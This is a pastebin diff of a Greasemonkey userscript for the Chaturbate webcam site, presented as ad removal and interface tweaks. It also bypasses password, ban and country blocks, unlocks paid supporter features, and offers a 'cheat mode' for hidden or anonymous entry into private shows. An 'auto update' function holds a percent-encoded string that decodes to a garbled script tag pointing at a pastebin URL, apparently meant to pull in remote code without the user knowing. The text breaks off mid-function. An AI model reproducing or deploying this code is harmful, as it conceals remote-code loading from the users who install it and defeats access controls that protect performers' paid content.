View difference between Paste ID: QgUucZzt and es3UrYqC
SHOW: | | - or go back to the newest paste.
1
	
2
3
    // ==UserScript==
4
    // @name           chaturbate
5
    // @version 1
6
    // @namespace      chaturbate
7
    // @description    chaturbate
8
    // @include        http://chaturbate.com/*
9
    // @include        http://*.chaturbate.com/*
10
    // @exclude            http://serve.ads.chaturbate.com/*
11
    // @run-at         document-start
12
    // @grant          GM_getValue
13
    // @grant          GM_setValue
14
    // @grant          GM_addStyle
15
    // @grant          GM_xmlhttpRequest
16
    // ==/UserScript==
17
     
18
            scversion = 16.7;
19
            flashplayer = "/static/flash/CBV_2p640.swf";
20
     
21
    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
22
    // if you see this text then save the file as *- newchaturbate.user.js -*
23
    // after saving open it inside firefox and install it.
24
    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
25
    //
26
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
27
    // >>>>>>>>>>>>>>>>>>ONLY FOR FIREFOX WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
28
    // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
29
    // V12+
30
    // Removes all advertisements
31
    // Inserts a new video box if the room is password protected or if your banned or blocked
32
    // More colums on the main screen and streched the chat box
33
    // External links are no longer redirected
34
    // Checks the version of the flash player and tries to use the same version on protectected rooms
35
    // Shoutbox at the end of the screen
36
    // By default the chat won't show emoticons
37
    //
38
    // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
39
    //
40
    // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
41
    // webcam or to go to a webcam with special functions.
42
    // On a normal cam page you have the option to go back to the profile page.
43
    //
44
    // special video mode where you can enter a streamkey
45
    //
46
    // only the last updates are mentioned here , the list became too long
47
    //
48
    // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
49
    // time you want. if the performer goes private or groep you will stil auto-follow to the private room
50
    // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
51
    // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
52
    // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
53
    // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy  
54
    // v14.8 video server orgin3 added
55
    // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
56
    // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
57
    // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
58
    // in broadcaster mode. You can open a room in clean Iframe mode.
59
    // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
60
    // v15.3 all video options removed , tipping removed , fixed anon entry
61
    // v15.4 fix for tipnotes
62
    // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
63
    // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
64
    // v15.7 no more tip notes
65
    // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
66
    // v15.9 bug fix from 15.8
67
    // v16.0 , number scipped
68
    // v16.1 use of a random server in password room b.c. the static server was down.
69
    // v16.2 fix for FF 23 , find a user added
70
    // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
71
    // v16.3a & b & c chrome compatible , no update
72
    // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
73
    // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
74
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
75
     
76
            createCookie("agreeterms","1",1);
77
            createCookie("np3","0",1);
78
            if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
79
     
80
    function do_script() {
81
     
82
    // some adjustment needed if we are in cheat mode
83
     
84
            if (readCookie("cheatmode")){
85
            mode=readCookie("cheatmode").split("&");
86
            eraseCookie("cheatmode","chaturbate.com");
87
            preformer=mode[0];
88
            anon=mode[1];
89
            mob=mode[2];
90
            document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
91
            base=document.createElement('BASE');
92
            url=document.location.href;
93
            url=url.replace(document.location.href.split("/")[4],preformer);
94
            url=url.split("?")[0];
95
     
96
            base.setAttribute("href",url);
97
     
98
            document.getElementsByTagName('head')[0].appendChild(base);
99
     
100
     
101
            text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
102
            text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
103
            text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
104
            text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
105
            text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
106
     
107
            text=document.createElement('div');
108
     
109
            textf=text1;
110
            if(anon==1){textf=textf+text2}
111
            if(mob==1){textf=textf+text3}
112
            if((anon==1)&&(mob==0)){textf=textf+text4}
113
     
114
            text.id="cheat";
115
     
116
            text.innerHTML=textf+text5;
117
     
118
            body=document.getElementsByTagName('body')[0];
119
     
120
            body.insertBefore(text, body.firstChild);
121
     
122
    // fix abuse
123
            abu=document.getElementById("report_popup");
124
            abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
125
     
126
    // fix the tipping     
127
            tips=document.getElementsByClassName('tip_shell')[0];
128
            tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
129
     
130
            }
131
     
132
    // always earase again, just in case we broke the page
133
            eraseCookie("cheatmode","chaturbate.com");
134
    // earase these too
135
            eraseCookie("latest_linked_timestamp");
136
            eraseCookie("latest_linked_username");
137
            eraseCookie("affkey");
138
            eraseCookie("fromaffiliate");
139
     
140
     
141
    // from here normal script
142
     
143
    // remove visible adds
144
            ad = document.getElementsByClassName('ad');
145
            if (document.location.href.split("/")[3]!="b"){
146
            if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
147
     
148
            verstr='<strong>Special edition </strong><br>V '+scversion;
149
            if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
150
            if (ad[0]){ad[0].innerHTML=verstr}
151
     
152
     
153
            ad = document.getElementsByClassName('banner')[0];
154
            if (ad){ad.parentNode.removeChild(ad)}
155
            ad=document.getElementById("botright");
156
            if (ad){ad.parentNode.removeChild(ad)}
157
     
158
    // advert options on menu bars and check if your logged in
159
            if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
160
            notlogged = GM_getValue( "all" , 0 );
161
            bar=document.getElementById("nav");
162
            if (bar){
163
            barl=bar.getElementsByTagName('li');
164
            i=barl.length-1;
165
            while (i != -1){
166
            d=barl[i].innerHTML;
167
            if (d.indexOf('/login') != -1) {notlogged = 1}
168
            if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
169
            else{barl[i].parentNode.removeChild(barl[i]);i--}
170
            }}
171
     
172
    // rss feed link
173
            if(document.getElementsByClassName('wide')[0]){
174
            newli=document.createElement('li');
175
            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
176
            if (bar){bar.appendChild(newli)}}
177
     
178
    // find user
179
            if(document.getElementsByClassName('wide')[0]){
180
            newli=document.createElement('li');
181
            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
182
            if (bar){bar.appendChild(newli)}}
183
     
184
     
185
    // blog spam
186
            ad = document.getElementsByClassName('featured_blog_posts')[0];
187
            if (ad){ad.parentNode.removeChild(ad)}
188
     
189
    // footer spam
190
            ad = document.getElementsByClassName('featured_text')[0];
191
            if (ad){ad.parentNode.removeChild(ad)}
192
     
193
    // announcement banner
194
            ad = document.getElementsByClassName('top-section')[0];
195
            if (ad){
196
            ad = ad.getElementsByTagName('img')[0];
197
            if (ad){ad.parentNode.removeChild(ad)}}
198
     
199
    // footer cleanup
200
            ad = document.getElementsByClassName('footer-holder')[0];
201
            if (ad){
202
            ad1 = ad.getElementsByTagName('p')[3];
203
            if (ad1){ad1.parentNode.removeChild(ad1)}
204
            ad1 = ad.getElementsByTagName('p')[2];
205
            if (ad1){ad1.parentNode.removeChild(ad1)}
206
            ad1 = ad.getElementsByTagName('p')[1];
207
            if (ad1){ad1.parentNode.removeChild(ad1)}
208
            ad1 = ad.getElementsByTagName('p')[0];
209
            if (ad1){ad1.parentNode.removeChild(ad1)}}
210
     
211
    // strech the screen
212
            front=document.getElementsByClassName('c-1')[0];
213
            if(front) {
214
            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
215
            front=document.getElementsByClassName('c-1')[1];
216
            if(front) {
217
            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
218
     
219
    // remove out of position images
220
            container = document.getElementById("tabs_content_container")
221
            if (container){
222
            var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
223
            for (n=0; n<taglist.length-1; n++){
224
            blockelm (taglist[n]);
225
            }}
226
     
227
            function blockelm(tag){
228
            var image = container.getElementsByTagName(tag);
229
            for (i=0; i<image.length; i++){
230
            if (image[i].style.position){
231
            if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
232
            image[i].style.display="none"}
233
            }}}
234
     
235
    //fix external links redirection
236
            var link = document.getElementsByTagName('a');
237
            for (i=0; i<link.length; i++){
238
            if (link[i].href.indexOf('?url=') != -1){
239
            linkhref=unescape(link[i].href);
240
            newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
241
            link[i].href=newlinkhref}}
242
     
243
     
244
            if (notlogged == 0){ // logged in
245
     
246
    // on a profile page link to cam
247
            splits=document.location.href.split("/");
248
            play=document.getElementById("movie"); // check for player
249
     
250
            if (splits[3]!="b"){ // not broadcasting
251
            if (splits[3]=="p"){ // profile page (can have player)
252
     
253
            newli=document.createElement('li');
254
            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
255
            newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
256
            if (bar){bar.appendChild(newli)}
257
     
258
     
259
    // go to semi password room
260
            newli=document.createElement('li');
261
            pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
262
            newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
263
            if (bar){bar.appendChild(newli)};
264
     
265
    // go to embedded room
266
            newli=document.createElement('li');
267
            ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
268
            newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
269
            if (bar){bar.appendChild(newli)};
270
     
271
            } // end only on profile page
272
     
273
    // graphic rss feed
274
            function showfeed(){
275
            var x=document.getElementById("selector").selectedIndex;
276
            feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
277
     
278
            GM_xmlhttpRequest({
279
            method: 'GET',
280
            url: feedXml,
281
            onload: function(response) {
282
            xmlString=response.responseText;
283
     
284
    // dirty HTML parser, i can handle xml as html
285
            xmldoc=document.createElement('div');
286
            xmldoc.innerHTML=xmlString;
287
     
288
            area=document.getElementsByClassName('content_body')[0];
289
            area.innerHTML="";
290
     
291
            newdiv=document.createElement('div');
292
            area.appendChild(newdiv);
293
     
294
            holder=document.createElement('ul');
295
            holder.className="list";
296
            holder.id="check";
297
            newdiv.appendChild(holder);
298
     
299
            var items = new Array();
300
            items=xmldoc.getElementsByTagName('item');
301
     
302
            blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
303
            +'<a href="item3" target="_blank" class="corners">&nbsp;</a>'
304
            +'<div class="details">'
305
            +'<div class="title">'
306
            +'<a target="_blank" href="item4">item5</a>'
307
            +'<span class="age genderitem6">&nbsp;</span>'
308
            +'</div>'
309
            +'<ul class="subject">'
310
            +'<li></li>'
311
            +'</ul>'
312
            +'<ul class="sub-info">'
313
            +'<li class="location">item8</li>'
314
            +'<li class="cams">item9 min. online - item10 viewers</li>'
315
            +'</ul>'
316
            +'</div>';
317
     
318
            for (n=0; n<items.length; n++){
319
            image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
320
            title = items[n].getElementsByTagName("title")[0].innerHTML;
321
     
322
            guid =  items[n].getElementsByTagName("guid")[0].innerHTML;
323
            gsplits=guid.split("/");
324
            guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
325
     
326
            username = items[n].getElementsByTagName("username")[0].innerHTML;
327
            gender = items[n].getElementsByTagName("gender")[0].innerHTML;
328
            location_ = items[n].getElementsByTagName("location")[0].innerHTML;
329
            number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
330
     
331
            online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
332
            osplits=online_since.split(":");
333
            Honline=parseInt(osplits[0].split(" ")[1]);
334
            Monline=parseInt(osplits[1]);
335
            Sonline=parseInt(osplits[2].split(".")[0]);
336
     
337
        offset = parseInt((new Date().getTimezoneOffset()))/60;
338
            Honline = Honline+11+offset;
339
            if (Honline >= 24){Honline=Honline-24}
340
     
341
            d = new Date();
342
            Hnow = d.getHours();
343
            Mnow = d.getMinutes();
344
            Snow = d.getSeconds();
345
     
346
            secnow=(Hnow*60*60)+(Mnow*60)+Snow;
347
            seconl=(Honline*60*60)+(Monline*60)+Sonline;
348
            secdiff=Math.abs(secnow-seconl);
349
            mindiff=parseInt(secdiff/60);
350
           
351
            block=document.createElement('li');
352
            block.setAttribute("style", "margin: 5px 5px 5px 5px;");
353
     
354
            blockstring1=blockstring.replace("item1",image_url);
355
            blockstring1=blockstring1.replace("item2",title);
356
            blockstring1=blockstring1.replace("item3",guid);
357
            blockstring1=blockstring1.replace("item4",guid);
358
            blockstring1=blockstring1.replace("item5",username);
359
            blockstring1=blockstring1.replace("item6",gender);
360
            blockstring1=blockstring1.replace("item8",location_);
361
            blockstring1=blockstring1.replace("item9",mindiff);
362
            blockstring1=blockstring1.replace("item10",number_of_users_watching);
363
     
364
            block.innerHTML=blockstring1;
365
     
366
            holder.appendChild(block);
367
     
368
            } // end for
369
     
370
            setTimeout(function(){showfeed()},20000);
371
     
372
            } // end onload
373
            }); // end xmlhttp
374
            } // end function
375
     
376
     
377
    //finduser
378
            function finduser(){
379
            fusern=document.getElementById("fusername").value;
380
            if (fusern == ""){alert("First fill in a username !");return false}
381
     
382
            document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
383
     
384
     
385
            feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
386
     
387
            GM_xmlhttpRequest({
388
            method: 'GET',
389
            url: feedXml,
390
            onload: function(response) {
391
            responsedoc=response.responseText;
392
     
393
    // dirty HTML parser
394
            parse=document.createElement('div');
395
            parse.innerHTML=responsedoc;
396
     
397
            var items = new Array();
398
            items=parse.getElementsByClassName('title');
399
     
400
            var olnames = new Array();
401
            for (i=0; i<items.length-1; i++){
402
            olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
403
            }
404
     
405
    // save some memory
406
            responsedoc="";
407
            parse="";
408
            items.length = 0;
409
    // end parser
410
     
411
            document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
412
     
413
            i=0;
414
            checkroom(olnames,i);
415
     
416
            } // end onload xml
417
     
418
            }); // end xml
419
     
420
            } //end function
421
     
422
     
423
            function checkroom(olnames,i){
424
     
425
            userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
426
     
427
            document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
428
     
429
            GM_xmlhttpRequest({
430
            method: 'GET',
431
            url: userurl,
432
            onload: function(response) {
433
            data = response.responseText;
434
            if(data.indexOf(fusern+"|") != -1){
435
            document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
436
            }
437
            i++;
438
            if(i==olnames.length){
439
            if(document.getElementsByClassName('content_body')[0].innerHTML==""){
440
            document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
441
            else{
442
            document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
443
            return false}
444
            checkroom(olnames,i);
445
            } // end onload xml2
446
            }); // end xml2
447
            }
448
     
449
    // set up rss page
450
            if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
451
            document.title="Last cam's online";
452
            area=document.getElementsByClassName('content_body')[0];
453
            area.innerHTML="";
454
            area=document.getElementsByClassName('affiliate_options')[0];
455
            area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
456
            showfeed();
457
            }
458
     
459
    // set up find a user page
460
            if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
461
            document.title="Find a user";
462
            area=document.getElementsByClassName('content_body')[0];
463
            area.innerHTML="";
464
            area=document.getElementsByClassName('affiliate_options')[0];
465
            area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
466
            document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
467
            }
468
     
469
    // on a player page, if logged in, unlock features.
470
            if (play){  // player on the page ?
471
            if (!readCookie("logstatus")){save()}
472
            if(document.getElementById("defchat")){
473
            scrip=document.createElement('script');
474
            scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
475
            document.getElementsByTagName('body')[0].appendChild(scrip);
476
            }
477
     
478
    // console logger
479
            if(document.getElementById("defchat")){
480
            scrip=document.createElement('script');
481
     
482
            scriptstring="flash_handler.consolelog = "
483
            +"function(msg2){"
484
            +"xaa=document.getElementsByClassName('chat-list')[0];"
485
            +"if(xaa){"
486
            +"msg3=unescape(msg2);"
487
            +"msg4='x';"
488
            +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
489
            +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
490
            +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
491
            +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
492
            +"if(document.getElementById('appnotice')){"
493
            +"if(document.getElementById('appnotice').checked==true){"
494
            +"msg4='<p><span>'+msg3+'</span></p>';}}"
495
            +"if(msg4 != 'x'){"
496
            +"newdiv=document.createElement('div');"
497
            +"newdiv.className='text';"
498
            +"newdiv.innerHTML=msg4;"
499
            +"xaa.appendChild(newdiv);"
500
            +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
501
            +"xaa.scrollTop=xaa.scrollHeight}}}};";
502
     
503
            scrip.innerHTML=scriptstring;
504
            document.getElementsByTagName('body')[0].appendChild(scrip);
505
            }
506
     
507
     
508
    // options page on normal player page
509
            if (splits[3]!="p"){ // no profile but still a player page = normal page
510
            newli=document.createElement('li');
511
            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
512
            newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
513
            if (bar){bar.appendChild(newli)}}
514
     
515
    // shoutbox on all player pages
516
            newtab2=document.createElement('div');
517
            newtab2.id="shout";
518
            newtab2.innerHTML=sdata;
519
            document.getElementById("defchat").appendChild(newtab2);
520
     
521
            } // end player page
522
     
523
    // remove lock picture from thumb
524
            pictures = document.getElementsByClassName('preview');
525
            if (pictures){
526
            for (i=0; i<pictures.length; i++){
527
            if(pictures[i].getAttribute("alt") =="Locked"){
528
            pictures[i].parentNode.removeChild(pictures[i])}}}
529
     
530
    // specials
531
    // if you have no access then create a new video box
532
            area = document.getElementsByClassName('block')[0];
533
            if (area){
534
            if (area.innerHTML.length < 100){
535
            preformer=splits[3];
536
            if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
537
            document.title = preformer+"'s No Access Room";
538
            makevid (preformer)}}
539
     
540
            if (splits[3]=="roomlogin"){
541
            preformer=splits[4];
542
            document.title = preformer+"'s Password Protected Room";
543
            room=document.getElementsByClassName('sub-nav')[0];
544
            if (room){
545
            room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
546
            makevid (preformer)}}
547
     
548
     
549
    //key entry
550
            keyinput();
551
     
552
    // always set interval function, update every 3 sec.
553
            t=setInterval(function(){
554
     
555
    // if on player page
556
    // read flash player version
557
     
558
            play=document.getElementById("player");
559
            if (play){
560
            if (!readCookie("CBversion")){
561
            version=document.getElementsByTagName('object')[0];
562
            if (version){
563
            createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
564
            }}
565
     
566
    // nex cam = only video
567
            rep=document.getElementsByClassName('nextcam')[0];
568
            if (rep){
569
            if (rep.innerHTML != "SHOW ONLY VIDEO"){
570
            rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
571
            rep.addEventListener('click',function(){popvid();}, false);
572
            }}
573
     
574
     
575
    // sorted userlist option
576
            ulist=document.getElementsByClassName('users-list')[0];
577
            if (ulist){
578
            if(ulist.getElementsByTagName("a")[0]){
579
            if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
580
            newdiv=document.createElement('div');
581
            newdiv.className='text';
582
            newdiv.setAttribute('style','float:right');
583
            newdiv.innerHTML='&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#">refresh userlist sorted by tokens</a>';
584
            newdiv.addEventListener('click',function(){sortuser();}, false);
585
            ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
586
     
587
            }}
588
     
589
    // tip mute option and fuction
590
            settings=document.getElementsByClassName('settings-list')[0];
591
            if (settings){
592
            if(!document.getElementById("tipmute")){
593
            newform=document.createElement('form');
594
            newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
595
            settings.appendChild(newform);
596
     
597
            scrip=document.createElement('script');
598
            scriptstring="if(document.getElementById('tipmute')){"
599
            +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
600
     
601
            scrip.innerHTML=scriptstring;
602
            document.getElementsByTagName('body')[0].appendChild(scrip);
603
     
604
            }}
605
            } // end if play
606
     
607
    // if on front page    
608
    //rewrite thumb links with P and let them open in a new window
609
     
610
            front=document.getElementsByClassName('list')[0];
611
            if(front) {
612
            if (front.id != "check"){ // id is gone when updated
613
            front.id="check";
614
     
615
    // names with p
616
            function setkeys(front){
617
            blocks=front.getElementsByTagName('a');
618
            for (i=0; i<blocks.length; i++){
619
            link=blocks[i].href;
620
            splits=link.split("/");
621
            if (splits[3]){
622
            if (splits[3]!="p"){
623
            link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
624
            blocks[i].href=link;
625
            blocks[i].target="_blank";
626
            }}}
627
            } // end setkeys function
628
     
629
     
630
     
631
            setkeys (front);
632
            if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
633
     
634
            }//end if front
635
            } // end if ID
636
            },3000) // end timer
637
            } // end not broadcasting
638
            } // end logged in
639
     
640
    } // end main function
641
     
642
    // sorted userlist
643
     
644
            function sortuser(){
645
            ulist=document.getElementsByClassName('users-list')[0];
646
            if (ulist){
647
            ulist.innerHTML="Sorting userlist....";
648
            room=unsafeWindow.nextroomurl.split("/")[2];
649
            userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
650
            GM_xmlhttpRequest({
651
            method: 'GET',
652
            url: userurl,
653
            onload: function(response) {
654
            data = response.responseText;
655
            userarray=data.split(",");
656
            ulist.innerHTML="";
657
            for (i=1;i<userarray.length;i++){
658
            uname=userarray[i].split("|")[0];
659
            ucol=userarray[i].split("|")[1];
660
            div3=document.createElement('div');
661
            div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
662
            ulist.appendChild(div3);
663
            }
664
            }})
665
            }}
666
     
667
    //popvid
668
            function popvid(){
669
            vidwin=document.getElementById("player").innerHTML;
670
            popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
671
            popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
672
            popUpWindow.document.close();
673
            window.close();
674
            document.location.href="http://chaturbate.com"}
675
     
676
    // new cheat function
677
            function npcheat(preformer,anon){
678
     
679
            mmode=0;
680
            if(document.getElementById('mobmode').checked==true){mmode=1}
681
     
682
    // get chat host
683
            GM_xmlhttpRequest({
684
            method: 'GET',
685
            url: 'http://www.chaturbate.com/embed/'+preformer,
686
            onload: function(response2) {
687
            data2 = response2.responseText;
688
     
689
            chostpos=data2.indexOf("rtmp://chat");
690
            if (chostpos == -1){
691
            r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
692
            if (r==true){chost="rtmp://chat1"}
693
            else{chost="rtmp://chat2"}}
694
            else{
695
            chost=data2.substring(chostpos,chostpos+12)}
696
     
697
    // set a cookie so we know the new page must be adjusted and how
698
            createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
699
     
700
            window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
701
     
702
            }});
703
            }
704
     
705
    //auto update
706
            function save(){
707
            if(document.getElementsByClassName('username')[0]){
708
            uname=document.getElementsByClassName('username')[0].innerHTML;
709
     
710
     
711
     
712
    // createCookie("agreeterms","1",1);
713
     if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
714
     upperdate();
715
     
716
     function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
717
     window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
718
     }
719
     
720
    // create video box with shoutbox, image,normal and anon option, kill refesh
721
            function makevid(preformer){
722
     
723
    // kill all timeouts
724
            scrip=document.createElement('script');
725
            scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
726
            document.getElementsByTagName('body')[0].appendChild(scrip);
727
     
728
    // image
729
            prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
730
     
731
            Fversion = getfversion();
732
            videodata2 = videodata2.replace("ladroop",preformer);
733
            newvid=document.createElement('div');
734
     
735
            newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
736
     
737
            document.getElementsByClassName('block')[0].appendChild(newvid);
738
            newli=document.createElement('li');
739
            newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
740
            if (bar){bar.appendChild(newli)}
741
            newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
742
            ainput()}
743
     
744
    // set anon
745
            function ainput(){
746
            newli=document.createElement('li');
747
            newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
748
            if (bar){bar.appendChild(newli)}
749
            newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
750
            mobset()}
751
     
752
    // mobile mode
753
            function mobset(){
754
            newli=document.createElement('li');
755
            newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
756
            if (bar){bar.appendChild(newli)}}
757
     
758
     
759
    //  reconnect chatbox , give me mu8 link
760
            function keyinput(){
761
            if (!document.getElementById("cheat")){
762
     
763
            if (document.getElementById("movie")){
764
            place=document.getElementsByClassName('info-user')[0];
765
            if(!place){place=document.getElementById("shout")} // for pw room with chat
766
     
767
            //chat reload
768
            if (document.getElementsByClassName("chat-box")[0]){
769
            chatreload=document.createElement('div');
770
            chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
771
